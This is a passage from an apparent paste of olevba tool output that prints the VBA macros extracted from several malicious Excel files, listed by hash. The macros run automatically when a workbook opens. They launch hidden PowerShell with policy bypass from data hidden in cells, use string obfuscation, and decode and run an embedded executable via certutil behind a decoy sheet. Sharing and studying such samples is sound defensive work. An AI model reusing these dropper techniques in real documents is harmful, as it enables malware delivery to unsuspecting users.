  783.     "den " & Chr(45) & Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(32) & Chr(98) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & "" & _
  784.     " -e" & "nc " & x
  785.     Set s = CreateObject("WsCrip" & "t." & "Sh" & "ell")
  786.     s.Run c, 0
  787. End Sub
  788.  
  789.  
  790.  
  791.  
  792. Attribute VB_Name SHA1  
  793. E228B03FCA9356A8B440EEF971348F985C536FD3
  794. olevba 0.50 - http://decalage.info/python/oletools
  795. Flags        Filename                                                        
  796. -----------  -----------------------------------------------------------------
  797. OLE:MASIH--- a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938
  798. ===============================================================================
  799. FILE: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938
  800. Type: OLE
  801. -------------------------------------------------------------------------------
  802. VBA MACRO ThisWorkbook.cls
  803. in file: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  804. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  805. (empty macro)
  806. -------------------------------------------------------------------------------
  807. VBA MACRO Sheet1.cls
  808. in file: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  809. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  810. (empty macro)
  811. -------------------------------------------------------------------------------
  812. VBA MACRO Module1.bas
  813. in file: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  814. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  815. Sub Auto_Open()
  816.  
  817.     Call LinesOfBusiness.e3OljP3R
  818.  
  819.     Application.ScreenUpdating = False
  820.     Sheets("Agenda").Visible = True
  821.     Sheets("Sheet1").Visible = False
  822.     Application.ScreenUpdating = True
  823. End Sub
  824.  
  825.  
  826. -------------------------------------------------------------------------------
  827. VBA MACRO Sheet2.cls
  828. in file: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet2'
  829. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  830. (empty macro)
  831. -------------------------------------------------------------------------------
  832. VBA MACRO LinesOfBusiness.bas
  833. in file: a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938 - OLE stream: u'_VBA_PROJECT_CUR/VBA/LinesOfBusiness'
  834. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  835. Function GetVal(sr As Long, er As Long, c As Long)
  836.     Dim x
  837.     For i = sr To er
  838.         x = x + Cells(i, c)
  839.     Next
  840.     GetVal = x
  841. End Function
  842.  
  843. Function rndname()
  844.     Dim r As String
  845.     Dim i As Integer
  846.      
  847.     For i = 1 To 8
  848.         If i Mod 2 = 0 Then
  849.             r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
  850.         Else
  851.             r = Int((9 * Rnd) + 1) & r
  852.         End If
  853.     Next i
  854.     rndname = r
  855. End Function
  856.  
  857. Sub e3OljP3R()
  858.     Dim x As String
  859.     x = GetVal(11713, 11713, 203)
  860.     'x = Replace(x, """", "\""")
  861.    Dim c As String
  862.    'c = "powershell.exe -nop -noni -windowstyle hidden -exec bypass -command " & Chr(34) & x & Chr(34)
  863.     c = "pow" & Chr(101) & "rshell.exe -nop -noni -windowstyle hidden -exec bypass -enc " & x
  864.     'c = "powershell.exe -nop -noni -exec bypass -enc " & x
  865.    Set s = CreateObject("wscript.shell")
  866.    s.Run c, 0
  867. End Sub
  868.  
  869. Attribute VB_Name SHA1  
  870. 36383242A3D50644CEC3745B26289D842616D74F
  871. olevba 0.50 - http://decalage.info/python/oletools
  872. Flags        Filename                                                        
  873. -----------  -----------------------------------------------------------------
  874. OLE:MAS-H--- e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3
  875. ===============================================================================
  876. FILE: e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3
  877. Type: OLE
  878. -------------------------------------------------------------------------------
  879. VBA MACRO ThisWorkbook.cls
  880. in file: e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  881. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  882. (empty macro)
  883. -------------------------------------------------------------------------------
  884. VBA MACRO Sheet1.cls
  885. in file: e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  886. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  887. (empty macro)
  888. -------------------------------------------------------------------------------
  889. VBA MACRO Module1.bas
  890. in file: e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  891. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  892. Sub Auto_Open()
  893.  
  894.    Call cBDo45Rt
  895.  
  896. End Sub
  897.  
  898.  
  899. Function GetVal(sr As Long, er As Long, c As Long)
  900.    Dim x
  901.    For i = sr To er
  902.        x = x + Cells(i, c)
  903.    Next
  904.    GetVal = x
  905. End Function
  906.  
  907.  
  908. Sub cBDo45Rt()
  909.    Dim x As String
  910.    x = GetVal(39910, 39911, 181)
  911.    x = Replace(x, """", "\""")
  912.    Dim c As String
  913.    c = Chr(112) & Chr(79) & Chr(119) & Chr(69) & Chr(114) & Chr(83) & Chr(104) & Chr(69) & Chr(108) & Chr(76) & Chr(46) & Chr(101) & Chr(120) & Chr(69) & " -nop -noni -windowstyle hidden -exec bypass -command " & Chr(34) & x & Chr(34)
  914.    Set s = CreateObject("WsCrip" & "t." & "Sh" & "ell")
  915.    s.Run c, 0
  916. End Sub
  917.  
  918.  
  919.  
  920. Attribute VB_Name SHA1  
  921. F6069977D0A2DAF29B31D0AEFDCDEF9B3EE6FD53
  922. olevba 0.50 - http://decalage.info/python/oletools
  923. Flags        Filename                                                        
  924. -----------  -----------------------------------------------------------------
  925. OLE:MAS-HB-- e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210
  926. ===============================================================================
  927. FILE: e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210
  928. Type: OLE
  929. -------------------------------------------------------------------------------
  930. VBA MACRO ThisWorkbook.cls
  931. in file: e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  932. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  933. (empty macro)
  934. -------------------------------------------------------------------------------
  935. VBA MACRO Hoja1.cls
  936. in file: e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Hoja1'
  937. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  938. (empty macro)
  939. -------------------------------------------------------------------------------
  940. VBA MACRO Hoja2.cls
  941. in file: e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Hoja2'
  942. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  943. (empty macro)
  944. -------------------------------------------------------------------------------
  945. VBA MACRO LinesOfBusiness.bas
  946. in file: e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210 - OLE stream: u'_VBA_PROJECT_CUR/VBA/LinesOfBusiness'
  947. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  948.  
  949. #If VBA7 Then
  950.    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
  951. #Else
  952.    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  953. #End If
  954.  
  955. Sub Auto_Open()
  956.  
  957. Dim WshShell
  958. Dim WshProcEnv
  959. Dim isx86
  960. Dim process_architecture
  961.  
  962. Set WshShell = CreateObject("WScript.Shell")
  963. Set WshProcEnv = WshShell.Environment("Process")
  964.  
  965. process_architecture = WshProcEnv("PROCESSOR_ARCHITECTURE")
  966.  
  967. If process_architecture = "x86" Then
  968.    isx86 = WshProcEnv("PROCESSOR_ARCHITEW6432")
  969.    If isx86 = "" Then
  970.        isx86 = True
  971.    Else
  972.        isx86 = False
  973.    End If
  974. Else
  975.    isx86 = False
  976. End If
  977. If (isx86) Then
  978.    Call LinesOfBusiness.hksg0b5t
  979. Else
  980.    Call LinesOfBusiness.dQRSZmkA
  981. End If
  982.  
  983. End Sub
  984.  
  985.  
  986. Function GetVal(sr As Long, er As Long, c As Long)
  987.    Dim x
  988.    For i = sr To er
  989.        x = x + Cells(i, c)
  990.    Next
  991.    GetVal = x
  992. End Function
  993.  
  994.  
  995. Function rndname()
  996.    Dim r As String
  997.    Dim i As Integer
  998.    Randomize
  999.    For i = 1 To 8
  1000.        If i Mod 2 = 0 Then
  1001.            r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
  1002.        Else
  1003.            r = Int((9 * Rnd) + 1) & r
  1004.        End If
  1005.    Next i
  1006.    rndname = r
  1007. End Function
  1008.  
  1009.  
  1010. Function CopyDecoy()
  1011.    Dim ows As Worksheet
  1012.    Dim tws As Worksheet
  1013.    Dim rng As String
  1014.    Dim shape As Excel.shape
  1015.    
  1016.    Set ows = Sheets(1)
  1017.    Set tws = Sheets(2)
  1018.    ows.Unprotect Password:=""
  1019.    ows.Cells.Delete
  1020.    rng = "A1:IV1000"
  1021.  
  1022.    For Each shape In ows.Shapes
  1023.        shape.Delete
  1024.    Next
  1025.    
  1026.    ows.Range(rng).Value = tws.Range(rng).Value
  1027. End Function
  1028.  
  1029. Function CopyDecoy_2()
  1030.    For Each Sheet In Application.ActiveWorkbook.Sheets
  1031.        Sheet.Visible = True
  1032.    Next
  1033.    Application.ActiveWorkbook.Sheets(1).Delete
  1034. End Function
  1035.  
  1036. Sub cutil(code As String)
  1037.    Dim x As String
  1038.    Dim wsh As Object
  1039.    Set wsh = VBA.CreateObject("WScript.Shell")
  1040.    Dim waitOnReturn As Boolean: waitOnReturn = True
  1041.    Dim windowStyle As Integer: windowStyle = 0
  1042.  
  1043.    Application.DisplayAlerts = False
  1044.  
  1045.    If Len(code) > 1024 Then
  1046.        x = "-----BEG" & "IN CER" & "TIFICATE-----"
  1047.        x = x + vbNewLine
  1048.        x = x + code
  1049.        x = x + vbNewLine
  1050.        x = x + "-----E" & "ND CERTIF" & "ICATE-----"
  1051.        
  1052.        Dim path As String
  1053.        path = Application.UserLibraryPath & rndname & ".txt"
  1054.        expath = Application.UserLibraryPath & rndname & ".exe"
  1055.        expath_arg = expath & " /A"
  1056.        
  1057.        Set scr = CreateObject("Scripting.FileSy" & "stemObject")
  1058.        Set file = scr.CreateTextFile(path, True)
  1059.        file.Write x
  1060.        file.Close
  1061.  
  1062.        CopyDecoy_2
  1063.  
  1064.        wsh.Run "certu" & "til -decode " & path & " " & expath, windowStyle, waitOnReturn
  1065.        wsh.Run expath_arg, 0, False
  1066.  
  1067.        ActiveWorkbook.Save
  1068.    End If
  1069. End Sub
  1070.  
  1071.  
  1072. Sub hksg0b5t()
  1073.    Dim p As String
  1074.    p = GetVal(6601, 6729, 159)
  1075.    cutil (p)
  1076. End Sub
  1077.  
  1078.  
  1079. Sub dQRSZmkA()
  1080.    Dim p As String
  1081.    p = GetVal(5718, 5860, 166)
  1082.    cutil (p)
  1083. End Sub
RAW Paste Data
Top